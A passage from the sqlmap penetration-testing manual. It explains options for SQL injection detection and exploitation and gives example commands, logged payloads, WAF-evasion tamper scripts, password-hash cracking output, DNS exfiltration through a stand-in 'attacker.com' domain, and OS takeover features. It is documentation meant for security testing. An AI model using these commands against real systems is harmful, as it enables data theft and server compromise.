switches: --keep-alive • --null-connection • • --threads=3 if not set to a higher value. Read below for details about each switch. Output prediction Switch: --predict-output This switch is used in inference algorithm for sequential statistical prediction of characters of value being retrieved. Statistical table with the most promising character values is being built based on items given in txt/common-outputs.txt combined with the knowledge of current enumeration used. In case that the value can be found among the common output values, as the process progresses, subsequent character tables are being narrowed more and more. If used in combination with retrieval of common DBMS entities, as with system table names and privileges, speed up is significant. Of course, you can edit the common outputs file according to your needs if, for instance, you notice common patterns in database table names or similar. Note that this switch is not compatible with --threads switch. HTTP Keep-Alive Switch: --keep-alive This switch instructs sqlmap to use persistent HTTP(s) connections. Note that this switch is incompatible with --proxy switch. HTTP NULL connection Switch: --null-connection There are special HTTP request types which can be used to retrieve HTTP response's size without getting the HTTP body. This knowledge can be used in blind injection technique to distinguish True from False responses. When this switch is provided, sqlmap will try to test and exploit two different NULL connection techniques: Range and HEAD. If any of these is supported by the target web server, speed up will come from the obvious saving of used bandwidth. These techniques are detailed in the white paper Bursting Performances in Blind SQL Injection - Take 2 (Bandwidth). Note that this switch is incompatible with switch --text-only. Concurrent HTTP(S) requests Option: --threads It is possible to specify the maximum number of concurrent HTTP(S) requests that sqlmap is allowed to do. This feature relies on multi-threading concept and inherits both its pro and its cons. This features applies to the brute-force switches and when the data fetching is done through any of the blind SQL injection techniques. For the latter case, sqlmap first calculates the length of the query output in a single thread, then starts the multi-threading. Each thread is assigned to retrieve one character of the query output. The thread ends when that character is retrieved - it takes up to 7 HTTP(S) requests with the bisection algorithm implemented in sqlmap. The maximum number of concurrent requests is set to 10 for performance and site reliability reasons. Note that this option is not compatible with switch --predict-output. Injection These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts. Testable parameter(s) Options: -p, --skip and --param-exclude By default sqlmap tests all GET parameters and POST parameters. When the value of --level is >= 2 it tests also HTTP Cookie header values. When this value is >= 3 it tests also HTTP User-Agent and HTTP Referer header value for SQL injections. It is however possible to manually specify a comma-separated list of parameter(s) that you want sqlmap to test. This will bypass the dependence on value of --level too. For instance, to test for GET parameter id and for HTTP User-Agent only, provide -p "id,useragent". In case that user wants to exclude certain parameters from testing, he can use option --skip. That is especially useful in cases when you want to use higher value for --level and test all available parameters excluding some of HTTP headers normally being tested. For instance, to skip testing for HTTP header User-Agent and HTTP header Referer at --level=5, provide --skip="user-agent,referer". There is also a possibility to exclude certain parameters from testing based on a regular expression run on their names. In those kind of cases user can use option --param-exclude. For instance, to skip testing for parameters which contain string token or session in their names, provide --param-exclude="token|session". URI injection point There are special cases when injection point is within the URI itself. sqlmap does not perform any automatic test against URI paths, unless manually pointed to. You have to specify these injection points in the command line by appending an asterisk (*) (Note: Havij style %INJECT HERE% is also supported) after each URI point that you want sqlmap to test for and exploit a SQL injection. This is particularly useful when, for instance, Apache web server's mod_rewrite module is in use or other similar technologies. An example of valid command line would be: $ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/" Arbitrary injection point Similar to URI injection point, asterisk (*) (Note: Havij style %INJECT HERE% is also supported) can also be used to point to the arbitrary injection point inside GET, POST or HTTP headers. Injection point can be specified by marking it inside the GET parameter value(s) provided with option -u, POST parameter value(s) provided with option --data, HTTP header value(s) provided with options -H, --headers, --useragent, --referer and/or --cookie, or at generic place inside HTTP request loaded from file with option -r. An example of valid command line would be: $ python sqlmap.py -u "http://targeturl" --cookie="param1=value1*;param2=value2" Force the DBMS Option: --dbms By default sqlmap automatically detects the web application's back-end database management system. sqlmap fully supports the following database management systems: MySQL • Oracle • PostgreSQL • Microsoft SQL Server • Microsoft Access • IBM DB2 • SQLite • Firebird • Sybase • SAP MaxDB • HSQLDB • Informix • If for any reason sqlmap fails to detect the back-end DBMS once a SQL injection has been identified or if you want to avoid an active fingeprint, you can provide the name of the back-end DBMS yourself (e.g. postgresql). For MySQL and Microsoft SQL Server provide them respectively in the form MySQLand Microsoft SQL Server , where is a valid version for the DBMS; for instance 5.0 for MySQL and 2005 for Microsoft SQL Server. In case you provide --fingerprint together with --dbms, sqlmap will only perform the extensive fingerprint for the specified database management system only, read below for further details. Note that this option is not mandatory and it is strongly recommended to use it only if you are absolutely sure about the back-end database management system. If you do not know it, let sqlmap automatically fingerprint it for you. Force the database management system operating system name Option: --os By default sqlmap automatically detects the web application's back-end database management system underlying operating system when this information is a dependence of any other provided switch or option. At the moment the fully supported operating systems are: Linux • Windows • It is possible to force the operating system name if you already know it so that sqlmap will avoid doing it itself. Note that this option is not mandatory and it is strongly recommended to use it only if you are absolutely sure about the back-end database management system underlying operating system. If you do not know it, let sqlmap automatically identify it for you. Force usage of big numbers for invalidating values Switch: --invalid-bignum In cases when sqlmap needs to invalidate original parameter value (e.g. id=13) it uses classical negation (e.g. id=-13). With this switch it is possible to force the usage of large integer values to fulfill the same goal (e.g. id=99999999). Force usage of logical operations for invalidating values Switch: --invalid-logical In cases when sqlmap needs to invalidate original parameter value (e.g. id=13) it uses classical negation (e.g. id=-13). With this switch it is possible to force the usage of boolean operations to fulfill the same goal (e.g. id=13 AND 18=19). Force usage of random strings for invalidating values Switch: --invalid-string In cases when sqlmap needs to invalidate original parameter value (e.g. id=13) it uses classical negation (e.g. id=-13). With this switch it is possible to force the usage of random strings to fulfill the same goal (e.g. id=akewmc). Turn off payload casting mechanism Switch: --no-cast When retrieving results, sqlmap uses a mechanism where all entries are being casted to string type and replaced with a whitespace character in case of NULL values. That is being made to prevent any erroneous states (e.g. concatenation of NULL values with string values) and to easy the data retrieval process itself. Nevertheless, there are reported cases (e.g. older versions of MySQL DBMS) where this mechanism needed to be turned-off (using this switch) because of problems with data retrieval itself (e.g. None values are returned back). Turn off string escaping mechanism Switch: --no-escape In cases when sqlmap needs to use (single-quote delimited) string values inside payloads (e.g. SELECT 'foobar'), those values are automatically being escaped (e.g. SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114)). That is being done because of two things: obfuscation of payload content and preventing potential problems with query escaping mechanisms (e.g. magic_quotes and/or mysql_real_escape_string) at the back-end server. User can use this switch to turn it off (e.g. to reduce payload size). Custom injection payload Options: --prefix and --suffix In some circumstances the vulnerable parameter is exploitable only if the user provides a specific suffix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and suffix. Example of vulnerable source code: $query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1"; To detect and exploit this SQL injection, you can either let sqlmap detect the boundaries (as in combination of SQL payload prefix and suffix) for you during the detection phase, or provide them on your own. For example: $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php\ ?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc" [...] This will result in all sqlmap requests to end up in a query as follows: $query = "SELECT * FROM users WHERE id=('1') AND ('abc'='abc') LIMIT 0, 1"; Which makes the query syntactically correct. In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide custom boundaries, but sometimes in real world application it is necessary to provide it when the injection point is within nested JOIN queries for instance. Tamper injection data Option: --tamper sqlmap itself does no obfuscation of the payload sent, except for strings between single quotes replaced by their CHAR()-alike representation. This option can be very useful and powerful in situations where there is a weak input validation mechanism between you and the back-end database management system. This mechanism usually is a self-developed input validation routine called by the application source code, an expensive enterprise-grade IPS appliance or a web application firewall (WAF). All buzzwords to define the same concept, implemented in a different way and costing lots of money, usually. To take advantage of this option, provide sqlmap with a comma-separated list of tamper scripts and this will process the payload and return it transformed. You can define your own tamper scripts, use sqlmap ones from the tamper/ folder or edit them as long as you concatenate them comma-separated as value of the option --tamper (e.g. --tamper="between,randomcase"). The format of a valid tamper script is as follows: # Needed imports from lib.core.enums import PRIORITY # Define which is the order of application of tamper scripts against # the payload __priority__ = PRIORITY.NORMAL def tamper(payload): ''' Description of your tamper script ''' retVal = payload # your code to tamper the original payload # return the tampered payload return retVal You can check valid and usable tamper scripts in the tamper/ directory. Example against a MySQL target assuming that > character, spaces and capital SELECT string are banned: $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\ tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 [hh:mm:03] [DEBUG] cleaning up configuration parameters [hh:mm:03] [INFO] loading tamper script 'between' [hh:mm:03] [INFO] loading tamper script 'randomcase' [hh:mm:03] [INFO] loading tamper script 'space2comment' [...] [hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092 [hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057 [hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041 [...] [hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause ' [hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONC AT(cHar(58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/ **/elsE/**/0/**/ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/info rmation_schema.tables/**/group/**/bY/**/x)a) [hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable [...] Detection These options can be used to customize the detection phase. Level Option: --level This option requires an argument which specifies the level of tests to perform. There are five levels. The default value is 1 where limited number of tests (requests) are performed. Vice versa, level 5 will test verbosely for a much larger number of payloads and boundaries (as in pair of SQL payload prefix and suffix). The payloads used by sqlmap are specified in the textual file xml/payloads.xml. Following the instructions on top of the file, if sqlmap misses an injection, you should be able to add your own payload(s) to test for too! Not only this option affects which payload sqlmap tries, but also which injection points are taken in exam: GET and POST parameters are always tested, HTTP Cookie header values are tested from level 2 and HTTP User-Agent/Referer headers' value is tested from level 3. All in all, the harder it is to detect a SQL injection, the higher the --level must be set. It is strongly recommended to higher this value before reporting to the mailing list that sqlmap is not able to detect a certain injection point. Risk Option: --risk This option requires an argument which specifies the risk of tests to perform. There are three risk values. The default value is 1 which is innocuous for the majority of SQL injection points. Risk value 2 adds to the default level the tests for heavy query time-based SQL injections and value 3 adds also OR-based SQL injection tests. In some instances, like a SQL injection in an UPDATE statement, injecting an OR-based payload can lead to an update of all the entries of the table, which is certainly not what the attacker wants. For this reason and others this option has been introduced: the user has control over which payloads get tested, the user can arbitrarily choose to use also potentially dangerous ones. As per the previous option, the payloads used by sqlmap are specified in the textual file xml/payloads.xml and you are free to edit and add your owns. Page comparison Options: --string, --not-string, --regexp and --code By default the distinction of a True query from a False one (rough concept behind boolean-based blind SQL injection vulnerabilities) is done by comparing the injected requests page content with the original not injected page content. Not always this concept works because sometimes the page content changes at each refresh even not injecting anything, for instance when the page has a counter, a dynamic advertisement banner or any other part of the HTML which is rendered dynamically and might change in time not only consequently to user's input. To bypass this limit, sqlmap tries hard to identify these snippets of the response bodies and deal accordingly. Sometimes it may fail, that is why the user can provide a string (--string option) which should be present on original page (though it is not a requirement) and on all True injected query pages, but that it is not on the False ones. Instead of static string, the user can provide a regular expression (--regexp option). Alternatively, user can provide a string (--not-string option) which is not present on original page and not on all True injected query pages, but appears always on False ones. Such data is easy for an user to retrieve, simply try to inject into the affected parameter an invalid value and compare manually the original (not injected) page content with the injected wrong page content. This way the distinction will be based upon string presence or regular expression match. In cases when user knows that the distinction of a True query from a False one can be done using HTTP code (e.g. 200 for True and 401 for False), he can provide that information to sqlmap (e.g. --code=200). Switches: --text-only and --titles In cases when user knows that the distinction of a True query from a False one can be done using HTML title (e.g. Welcome for True and Forbidden for False), he can turn turn on title-based comparison using switch --titles. In cases with lot of active content (e.g. scripts, embeds, etc.) in the HTTP responses' body, you can filter pages (switch --text-only) just for their textual content. This way, in a good number of cases, you can automatically tune the detection engine. Techniques These options can be used to tweak testing of specific SQL injection techniques. SQL injection techniques to test for Option: --technique This option can be used to specify which SQL injection type to test for. By default sqlmap tests for all types/techniques it supports. In certain situations you may want to test only for one or few specific types of SQL injection thought and this is where this option comes into play. This option requires an argument. Such argument is a string composed by any combination of B, E, U, S, T and Q characters where each letter stands for a different technique: B: Boolean-based blind • E: Error-based • • U: Union query-based S: Stacked queries • • T: Time-based blind • Q: Inline queries For instance, you can provide ES if you want to test for and exploit error-based and stacked queries SQL injection types only. The default value is BEUSTQ. Note that the string must include stacked queries technique letter, S, when you want to access the file system, takeover the operating system or access Windows registry hives. Seconds to delay the DBMS response for time-based blind SQL injection Option: --time-sec It is possible to set the seconds to delay the response when testing for time-based blind SQL injection, by providing the --time-sec option followed by an integer. By default it's value is set to 5 seconds. Number of columns in UNION query SQL injection Option: --union-cols By default sqlmap tests for UNION query SQL injection technique using 1 to 10 columns. However, this range can be increased up to 50 columns by providing an higher --level value. See the relevant paragraph for more details. You can manually tell sqlmap to test for this type of SQL injection with a specific range of columns by providing the tool with the option --union-cols followed by a range of integers. For instance, 12-16 means tests for UNION query SQL injection by using 12 up to 16 columns. Character to use to test for UNION query SQL injection Option: --union-char By default sqlmap tests for UNION query SQL injection technique using NULL character. However, by providing a higher --level value sqlmap will performs tests also with a random number because there are some corner cases where UNION query tests with NULL fail, whereas with a random integer they succeed. You can manually tell sqlmap to test for this type of SQL injection with a specific character by using option --union-char with desired character value (e.g. --union-char 123). Table to use in FROM part of UNION query SQL injection Option: --union-from In some UNION query SQL injection cases there is a need to enforce the usage of valid and accessible table name in FROM clause. For example, Microsoft Access requires usage of such table. Without providing one UNION query SQL injection won't be able to perform correctly (e.g. --union-from=users). DNS exfiltration attack Option: --dns-domain DNS exfiltration SQL injection attack is described in paper Data Retrieval over DNS in SQL Injection Attacks, while presentation of it's implementation inside sqlmap can be found in slides DNS exfiltration using sqlmap. If user is controlling a machine registered as a DNS domain server (e.g. domain attacker.com) he can turn on this attack by using this option (e.g. --dns-domain attacker.com). Prerequisites for it to work is to run a sqlmap with Administrator privileges (usage of privileged port 53) and that one normal (blind) technique is available for exploitation. That's solely the purpose of this attack is to speed up the process of data retrieval in case that at least one technique has been identified (in best case time-based blind). In case that error-based blind or UNION query techniques are available it will be skipped as those are preferred ones by default. Second-order attack Option: --second-order Second-order SQL injection attack is an attack where result(s) of an injected payload in one vulnerable page is shown (reflected) at the other (e.g. frame). Usually that's happening because of database storage of user provided input at the original vulnerable page. You can manually tell sqlmap to test for this type of SQL injection by using option --second-order with the URL address of the web page where results are being shown. Fingerprint Extensive database management system fingerprint Switches: -f or --fingerprint By default the web application's back-end database management system fingerprint is handled automatically by sqlmap. Just after the detection phase finishes and the user is eventually prompted with a choice of which vulnerable parameter to use further on, sqlmap fingerprints the back-end database management system and continues on with the injection by knowing which SQL syntax, dialect and queries to use to proceed with the attack within the limits of the database architecture. If for any instance you want to perform an extensive database management system fingerprint based on various techniques like specific SQL dialects and inband error messages, you can provide the switch -fingerprint. sqlmap will perform a lot more requests and fingerprint the exact DBMS version and, where possible, operating system, architecture and patch level. If you want the fingerprint to be even more accurate result, you can also provide the switch -b or -banner. Enumeration These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements. Retrieve all Switch: --all This switch can be used in situations where user wants to retrieve everything remotely accessible by using a single switch. This is not recommended as it will generate large number of requests retrieving both useful and unuseful data. Banner Switch: -b or --banner Most of the modern database management systems have a function and/or an environment variable which returns the database management system version and eventually details on its patch level, the underlying system. Usually the function is version() and the environment variable is @@version, but this vary depending on the target DBMS. Example against an Oracle target: $ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -\ -banner [...] [xx:xx:11] [INFO] fetching banner web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: Oracle banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod' Session user Switch: --current-user With this switch it is possible to retrieve the database management system's user which is effectively performing the query against the back-end DBMS from the web application. Current database Switch: --current-db With this switch it is possible to retrieve the database management system's database name that the web application is connected to. Server hostname Switch: --hostname With this switch it is possible to retrieve the database management system's hostname. Example against a MySQL target: $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\ hostname [...] [xx:xx:04] [INFO] fetching server hostname [xx:xx:04] [INFO] retrieved: debian-5.0-i386 hostname: 'debian-5.0-i386' Detect whether or not the session user is a database administrator Switch: --is-dba It is possible to detect if the current database management system session user is a database administrator, also known as DBA. sqlmap will return True if it is, vice versa False. You can also provide the option -U to specify the user who you want to enumerate the privileges. If you provide CU as username it will consider it as an alias for current user and will enumerate the privileges for this user. This feature is only available when the DBMS is Oracle. List database management system users Switch: --users When the session user has read access to the system table containing information about the DBMS users, it is possible to enumerate the list of users. List database management system's databases Switch: --dbs When the session user has read access to the system table containing information about available databases, it is possible to enumerate the list of databases. List and crack database management system users password hashes Switch: --passwords When the session user has read access to the system table containing information about the DBMS users' passwords, it is possible to enumerate the password hashes for each database management system user. sqlmap will first enumerate the users, then the different password hashes for each of them. Example against a PostgreSQL target: $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\ passwords -v 1 Enumerate database's tables Switches and option: --tables, --exclude-sysdbs and -D When the session user has read access to the system table containing information about databases' tables, it is possible to enumerate the list of tables for a specific database management system's databases. If you do not provide a specific database with option -D, sqlmap will enumerate the tables for all DBMS databases. You can also provide the switch --exclude-sysdbs to exclude all system databases. Note that on Oracle you have to provide the TABLESPACE_NAME instead of the database name. [...] back-end DBMS: PostgreSQL [hh:mm:38] [INFO] fetching database users password hashes do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y [hh:mm:42] [INFO] using hash method: 'postgres_passwd' what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt] [hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt' do you want to use common password suffixes? (slow!) [y/N] n [hh:mm:48] [INFO] starting dictionary attack (postgres_passwd) [hh:mm:49] [INFO] found: 'testpass' for user: 'testuser' [hh:mm:50] [INFO] found: 'testpass' for user: 'postgres' database management system users password hashes: [*] postgres [1]: password hash: md5d7d880f96044b72d0bba108ace96d1e4 clear-text password: testpass [*] testuser [1]: password hash: md599e5ea7a6f7c3269995cba3927fd0093 clear-text password: testpass Not only sqlmap enumerated the DBMS users and their passwords, but it also recognized the hash format to be PostgreSQL, asked the user whether or not to test the hashes against a dictionary file and identified the clear-text password for the postgres user, which is usually a DBA along the other user, testuser, password. This feature has been implemented for all DBMS where it is possible to enumerate users' password hashes, including Oracle and Microsoft SQL Server pre and post 2005. You can also provide the option -U to specify the specific user who you want to enumerate and eventually crack the password hash(es). If you provide CU as username it will consider it as an alias for current user and will retrieve the password hash(es) for this user. Enumerate database table columns Switch and options: --columns, -C, -T and -D When the session user has read access to the system table containing information about database's tables, it is possible to enumerate the list of columns for a specific database table. sqlmap also enumerates the data-type for each column. This feature depends on option -T to specify the table name and optionally on -D to specify the database name. When the database name is not specified, the current database name is used. You can also provide the -C option to specify the table columns name like the one you provided to be enumerated. Example against a SQLite target: $ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -\ -columns -D testdb -T users -C name [...] Database: SQLite_masterdb Table: users [3 columns] +---------+---------+ | Column | Type | +---------+---------+ | id | INTEGER | | name | TEXT | | surname | TEXT | +---------+---------+ Note that on PostgreSQL you have to provide public or the name of a system database. That's because it is not possible to enumerate other databases tables, only the tables under the schema that the web application's user is connected to, which is always aliased by public. List database management system users privileges Switch: --privileges When the session user has read access to the system table containing information about the DBMS users, it is possible to enumerate the privileges for each database management system user. By the privileges, sqlmap will also show you which are database administrators. You can also provide the option -U to specify the user who you want to enumerate the privileges. If you provide CU as username it will consider it as an alias for current user and will enumerate the privileges for this user. On Microsoft SQL Server, this feature will display you whether or not each user is a database administrator rather than the list of privileges for all users. List database management system users roles Switch: --roles When the session user has read access to the system table containing information about the DBMS users, it is possible to enumerate the roles for each database management system user. Enumerate database management system schema Switches: --schema and --exclude-sysdbs User can retrieve a DBMS schema by using this switch. Schema listing will contain all databases, tables and columns, together with their respective types. In combination with --exclude-sysdbs only part of the schema containing non-system databases will be retrieved and shown. Example against a MySQL target: $ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --s\ chema--batch --exclude-sysdbs [...] Database: owasp10 Table: accounts [4 columns] +-------------+---------+ | Column | Type | +-------------+---------+ | cid | int(11) | | mysignature | text | | password | text | | username | text | +-------------+---------+ Database: owasp10 Table: blogs_table [4 columns] +--------------+----------+ | Column | Type | +--------------+----------+ | date | datetime | | blogger_name | text | | cid | int(11) | | comment | text | +--------------+----------+ Database: owasp10 Table: hitlog [6 columns] +----------+----------+ | Column | Type | +----------+----------+ | date | datetime | | browser | text | | cid | int(11) | | hostname | text | | ip | text | | referer | text | +----------+----------+ Database: testdb Table: users [3 columns] +---------+---------------+ | Column | Type | +---------+---------------+ | id | int(11) | | name | varchar(500) | | surname | varchar(1000) | +---------+---------------+ [...] Retrieve number of entries for table(s) Switch: --count In case that user wants just to know the number of entries in table(s) prior to dumping the desired one, he can use this switch. Example against a Microsoft SQL Server target: $ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\ --count -D testdb [...] Database: testdb +----------------+---------+ | Table | Entries | +----------------+---------+ | dbo.users | 4 | | dbo.users_blob | 2 | +----------------+---------+ Dump database table entries Switch and options: --dump, -C, -T, -D, --start, --stop, --first, --last, --pivot-column and --where When the session user has read access to a specific database's table it is possible to dump the table entries. This functionality depends on option -T to specify the table name and optionally on option -D to specify the database name. If the table name is provided, but the database name is not, the current database name is used. Example against a Firebird target: $ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"\ --dump -T users [...] Database: Firebird_masterdb Table: USERS [4 entries] +----+--------+------------+ | ID | NAME | SURNAME | +----+--------+------------+ | 1 | luther | blisset | | 2 | fluffy | bunny | | 3 | wu | ming | | 4 | NULL | nameisnull | +----+--------+------------+ This switch can also be used to dump all tables' entries of a provided database. You simply have to provide sqlmap with the switch --dump along with only the option -D (no -T and no -C). You can also provide a comma-separated list of the specific columns to dump with the option -C. sqlmap also generates for each table dumped the entries in a CSV format textual file. You can see the absolute path where sqlmap creates the file by providing a verbosity level greater than or equal to 1. If you want to dump only a range of entries, then you can provide options --start and/or --stop to respectively start to dump from a certain entry and stop the dump at a certain entry. For instance, if you want to dump only the first entry, provide --stop 1 in your command line. Vice versa if, for instance, you want to dump only the second and third entry, provide --start 1 --stop 3. It is also possible to specify which single character or range of characters to dump with options --first and --last. For instance, if you want to dump columns' entries from the third to the fifth character, provide --first 3 --last 5. This feature only applies to the blind SQL injection techniques because for errorbased and UNION query SQL injection techniques the number of requests is exactly the same, regardless of the length of the column's entry output to dump. Sometimes (e.g. for Microsoft SQL Server, Sybase and SAP MaxDB) it is not possible to dump the table rows straightforward by using OFFSET m, n mechanism because of lack of similar. In such cases sqlmap dumps the content by determining the most suitable pivot column (the one with most unique values) whose values are used later on for retrieval of other column values. If it is necessary to enforce the usage of particular pivot column because the automatically chosen one is not suitable (e.g. because of lack of table dump results) you can use option --pivot-column (e.g. --pivot-column=id). In case that you want to constraint the dump to specific column values (or ranges) you can use option -where. Provided logical operation will be automatically used inside the WHERE clause. For example, if you use --where="id>3" only table rows having value of column id greater than 3 will be retrieved (by appending WHERE id>3 to used dumping queries). As you may have noticed by now, sqlmap is flexible: you can leave it to automatically dump the whole database table or you can be very precise in which characters to dump, from which columns and which range of entries. Dump all databases tables entries Switches: --dump-all and --exclude-sysdbs It is possible to dump all databases tables entries at once that the session user has read access on. You can also provide the switch --exclude-sysdbs to exclude all system databases. In that case sqlmap will only dump entries of users' databases tables. Note that on Microsoft SQL Server the master database is not considered a system database because some database administrators use it as a users' database. Search for columns, tables or databases Switch and options: --search, -C, -T, -D This switch allows you to search for specific database names, specific tables across all databases or specific columns across all databases' tables. This is useful, for instance, to identify tables containing custom application credentials where relevant columns' names contain string like name and pass. Switch --search needs to be used in conjunction with one of the following support options: • • • -C following a list of comma-separated column names to look for across the whole database management system. -T following a list of comma-separated table names to look for across the whole database management system. -D following a list of comma-separated database names to look for across the database management system. Run custom SQL statement Option and switch: --sql-query and --sql-shell The SQL query and the SQL shell features allow to run arbitrary SQL statements on the database management system. sqlmap automatically dissects the provided statement, determines which technique is appropriate to use to inject it and how to pack the SQL payload accordingly. If the query is a SELECT statement, sqlmap will retrieve its output. Otherwise it will execute the query through the stacked query SQL injection technique if the web application supports multiple statements on the back-end database management system. Beware that some web application technologies do not support stacked queries on specific database management systems. For instance, PHP does not support stacked queries when the back-end DBMS is MySQL, but it does support when the back-end DBMS is PostgreSQL. Examples against a Microsoft SQL Server 2000 target: $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\ sql-query "SELECT 'foo'" -v 1 [...] [hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo'' [hh:mm:14] [INFO] retrieved: foo SELECT 'foo': 'foo' $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\ sql-query "SELECT 'foo', 'bar'" -v 2 [...] [hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar'' [hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into distinct queries to be able to retrieve the output even if we are going blind [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32))) [hh:mm:50] [INFO] retrieved: foo [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA RCHAR(8000)), (CHAR(32))) [hh:mm:50] [INFO] retrieved: bar [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds SELECT 'foo', 'bar': 'foo, bar' As you can see, sqlmap splits the provided query into two different SELECT statements then retrieves the output for each separate query. If the provided query is a SELECT statement and contains a FROM clause, sqlmap will ask you if such statement can return multiple entries. In that case the tool knows how to unpack the query correctly to count the number of possible entries and retrieve its output, entry per entry. The SQL shell option allows you to run your own SQL statement interactively, like a SQL console connected to the database management system. This feature provides TAB completion and history support too. Brute force These switches can be used to run brute force checks. Brute force tables names Switch: --common-tables There are cases where switch --tables can not be used to retrieve the databases' table names. These cases usually fit into one of the following categories: The database management system is MySQL < 5.0 where information_schema is not available. • The database management system is Microsoft Access and system table MSysObjects is not • readable - default setting. The session user does not have read privileges against the system table storing the scheme of the databases. If any of the first two cases apply and you provided the switch --tables, sqlmap will prompt you with a question to fall back to this technique. Either of these cases apply to your situation, sqlmap can possibly still identify some existing tables if you provide it with the switch --common-tables. sqlmap will perform a brute-force attack in order to detect the existence of common tables across the DBMS. The list of common table names is txt/common-tables.txt and you can edit it as you wish. Example against a MySQL 4.1 target: $ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --commo\ n-tables -D testdb --banner • [...] [hh:mm:39] [INFO] testing MySQL [hh:mm:39] [INFO] confirming MySQL [hh:mm:40] [INFO] the back-end DBMS is MySQL [hh:mm:40] [INFO] fetching banner web server operating system: Windows web application technology: PHP 5.3.1, Apache 2.2.14 back-end DBMS operating system: Windows back-end DBMS: MySQL < 5.0.0 banner: '4.1.21-community-nt' [hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/tx t/common-tables.txt' [hh:mm:40] [INFO] adding words used on web page to the check list please enter number of threads? [Enter for 1 (current)] 8 [hh:mm:43] [INFO] retrieved: users Database: testdb [1 table] +-------+ | users | +-------+ Brute force columns names Switch: --common-columns As per tables, there are cases where switch --columns can not be used to retrieve the databases' tables' column names. These cases usually fit into one of the following categories: The database management system is MySQL < 5.0 where information_schema is not available. • The database management system is Microsoft Access where this kind of information is not • available inside system tables. The session user does not have read privileges against the system table storing the scheme of the • databases. If any of the first two cases apply and you provided the switch --columns, sqlmap will prompt you with a question to fall back to this technique. Either of these cases apply to your situation, sqlmap can possibly still identify some existing tables if you provide it with the switch --common-columns. sqlmap will perform a brute-force attack in order to detect the existence of common columns across the DBMS. The list of common table names is txt/common-columns.txt and you can edit it as you wish. User-defined function injection These options can be used to create custom user-defined functions. Inject custom user-defined functions (UDF) Switch and option: --udf-inject and --shared-lib You can inject your own user-defined functions (UDFs) by compiling a MySQL or PostgreSQL shared library, DLL for Windows and shared object for Linux/Unix, then provide sqlmap with the path where the shared library is stored locally on your machine. sqlmap will then ask you some questions, upload the shared library on the database server file system, create the user-defined function(s) from it and, depending on your options, execute them. When you are finished using the injected UDFs, sqlmap can also remove them from the database for you. These techniques are detailed in the white paper Advanced SQL injection to operating system full control. Use option --udf-inject and follow the instructions. If you want, you can specify the shared library local file system path via command line too by using -shared-lib option. Vice versa sqlmap will ask you for the path at runtime. This feature is available only when the database management system is MySQL or PostgreSQL. [hh:mm:52] [INFO] retrieved: 31744 [hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b ytes, same size as the local file '/software/nc.exe.packed' File system access Operating system takeover Read a file from the database server's file system Option: --file-read It is possible to retrieve the content of files from the underlying file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a textual or a binary file. sqlmap will handle it properly. These techniques are detailed in the white paper Advanced SQL injection to operating system full control. Example against a Microsoft SQL Server 2005 target to retrieve a binary file: $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?nam\ e=luther" --file-read "C:/example.exe" -v 1 Run arbitrary operating system command Option and switch: --os-cmd and --os-shell It is possible to run arbitrary commands on the database server's underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft 